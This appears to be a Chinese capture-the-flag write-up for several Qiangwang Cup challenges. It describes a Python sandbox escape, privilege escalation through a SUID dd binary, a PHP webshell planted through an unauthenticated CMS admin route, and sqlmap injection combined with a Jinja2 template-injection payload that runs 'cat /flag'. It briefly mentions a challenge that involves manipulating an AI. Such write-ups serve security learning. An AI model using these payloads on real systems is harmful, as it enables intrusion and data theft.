强网杯遗憾收场:

Misc givemesecret

AI 诱导,对话如下:

Web PyBlockly

抓包,获取请求如下:

审计源代码,发现在正则过滤,但是还使用了 unidecode.unidecode() 来对传入的文本进行转码,所以可以通过全角字符来进行绕过:

AST 对 import 的过滤,使用 __import__ 就可以绕过了。

__import__('os').system('whoami')

do 函数中,添加了 audit_hook 钩子函数,对调用的函数进行了过滤,长度不能大于 4 ,当传入 __import__('os').system() 时调用的是 os.system() ,长度大于 4 ,所以无法执行。

为了绕过这个限制,根据 CTF Pyjail 沙箱逃逸绕过合集 提到的:

将内置函数 len 修改为返回值恒为 0 即可:

globals()['__builtins__'].len = lambda x: 0

最后得到的 Payload 如下(使用全角字符):

');\n\nglobals()['__builtins__'].len = lambda x:0; print(__import__('os').system('whoami'));\n\nprint('

直接读取 /flag 无回显,查看权限发现需要提权:

ls -lh /flag

查找具有 SUID 权限的文件:

find / -perm -u=s -type f 2>/dev/null

发现 dd 命令具有 SUID 权限,所以使用它将 /flag 文件的内容导出到当前目录,即可查看文件内容:

dd if=/flag of=./flag.txt

cat ./flag.txt

Web xiaohuanxiong

访问 /admin 路由发现 CMS 信息:

在 GitHub 上找到 小涴熊CMS 5.0 的源码: https://github.com/Empty2081/raccoon5

下载之后进行代码审计,发现 /admin/books 路由存在未授权访问:

尝试添加管理员:

使用新添加的管理员重新登录后台:

然后翻看页面,发现在“支付管理”->“支付设置”内可以插入 PHP 代码,尝试直接写入一句话木马:

保存之后报错,说明一句话木马生效了:

重新访问根路由,报错依然存在,所以直接蚁剑连接:

根目录拿 flag :

Web snake

写个脚本自动玩贪吃蛇,通关之后得到路由 /snake_win

import requests  
from collections import deque  
  
GRID_DIM_X = 20  
GRID_DIM_Y = 20  
DIRS = [  
    'UP',  
    'DOWN',  
    'LEFT',  
    'RIGHT'  
]  
STEP_MAP = {  
    'UP': (0, -1),  
    'DOWN': (0, 1),  
    'LEFT': (-1, 0),  
    'RIGHT': (1, 0)  
}  
  
API_URL = 'http://eci-2ze6bhm7y89tm26y741c.cloudeci1.ichunqiu.com:5000'  
  
HEADERS = {  
    'Content-Type': 'application/json',  
}  
  
COOKIES = {  
    'session': 'eyJ1c2VybmFtZSI6Inl2bGluZyJ9.ZybD2g.AJbTF50T4_sPDulchSNMeTyNwkc'  
}  
  
  
def send_request(to_go):  
    req_data = {"direction": to_go}  
    response = requests.post(API_URL + '/move', headers=HEADERS, cookies=COOKIES, json=req_data)  
    if response.status_code == 200:  
        return response.json()  
    else:  
        return None  
  
  
def find_food(snake_segments, food_pos, grid_x, grid_y):  
    head_pos = tuple(snake_segments[0])  
    snake_set = set(tuple(pos) for pos in snake_segments)  
    path_queue = deque()  
    path_queue.append((head_pos, []))  
    visited = set()  
    visited.add(head_pos)  
    while path_queue:  
        current_pos, path_list = path_queue.popleft()  
        if current_pos == tuple(food_pos):  
            return path_list  
        for dir_name, (d_x, d_y) in STEP_MAP.items():  
            new_x = current_pos[0] + d_x  
            new_y = current_pos[1] + d_y  
            new_pos = (new_x, new_y)  
            if 0 <= new_x < grid_x and 0 <= new_y < grid_y:  
                if new_pos not in snake_set and new_pos not in visited:  
                    visited.add(new_pos)  
                    path_queue.append((new_pos, path_list + [dir_name]))  
    return None  
  
  
def get_potential_moves(snake_segments, grid_x, grid_y):  
    head_x, head_y = snake_segments[0]  
    possible_moves_dict = {}  
    for dir_name, (d_x, d_y) in STEP_MAP.items():  
        new_x = head_x + d_x  
        new_y = head_y + d_y  
        if 0 <= new_x < grid_x and 0 <= new_y < grid_y:  
            if [new_x, new_y] not in snake_segments:  
                possible_moves_dict[dir_name] = [new_x, new_y]  
    return possible_moves_dict  
  
  
api_response = send_request('RIGHT')  
if not api_response:  
    exit()  
  
food_location = api_response['food']  
snake_body = api_response['snake']  
while True:  
    path_to_food = find_food(snake_body, food_location, GRID_DIM_X, GRID_DIM_Y)  
    if path_to_food:  
        next_step = path_to_food[0]  
    else:  
        possible_moves_dict = get_potential_moves(snake_body, GRID_DIM_X, GRID_DIM_Y)  
        if possible_moves_dict:  
            next_step = list(possible_moves_dict.keys())[0]  
        else:  
            break  
    api_response = send_request(next_step)  
    print("Current Data:", api_response)  
  
    if not api_response or api_response.get('status') != 'ok':  
        break  
  
    try:  
        food_location = api_response['food']  
        snake_body = api_response['snake']  
    except Exception:  
        pass  
  
    print("Current Score:", api_response['score'])

访问 /snake_win ,传入了一个参数 username

发现在这里传入特殊字符引发报错,根据报错页面判断后端是 flask 框架,猜测可能存在 SSTI :

单引号报错,猜测可能存在 sql 注入,所以用 sqlmap 进行测试:

sqlmap -u "http://eci-2ze6bhm7y89tm26y741c.cloudeci1.ichunqiu.com:5000/snake_win?username=1" --batch --level 3

确实存在 sql 注入,但是数据库类型是 sqlite ,不能直接 rce 了,所以先翻看数据库中的内容:

存在一张用户表;

里面存储的就是游戏开始前设置的用户名和对应的游戏记录。

/snake_win?username=yvling 处尝试 SSTI ,但是并没有回显,所以猜测在设置用户名的时候可能存在 SSTI ,结果会被写入数据库中。

进行测试如下:

抓一个设置用户名的数据包:

POST /set_username HTTP/1.1
Host: eci-2ze6bhm7y89tm26y741c.cloudeci1.ichunqiu.com:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

username=test

修改请求包,再用 sqlmap dump 数据,发现 SSTI 确实存在,并且成功使用以下 payload 获取基类的所有子类:

POST /set_username HTTP/1.1
Host: eci-2ze6bhm7y89tm26y741c.cloudeci1.ichunqiu.com:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

username={{''.__class__.__bases__[0].__subclasses__()}}

sqlmap -u "http://eci-2ze6bhm7y89tm26y741c.cloudeci1.ichunqiu.com:5000/snake_win?username=1" --batch --level 3 -T users --dump --fresh-queries

拿到子类之后,写个脚本查找可用类:

classes_str = "所有子类的字符串"
classes_list = classes_str.split(',')
  
for key, value in enumerate(classes_list):  
    if "os._wrap_close" in value:  
        print(str(key) + " ==> " + value)

找到可以 RCE 的可用类 os._wrap_close 下标为 117:

构造 payload 如下:

POST /set_username HTTP/1.1
Host: eci-2ze6bhm7y89tm26y741c.cloudeci1.ichunqiu.com:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

username={{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__["popen"]("cat /flag").read()}}

再跑一次 sqlmap ,即可得到 flag: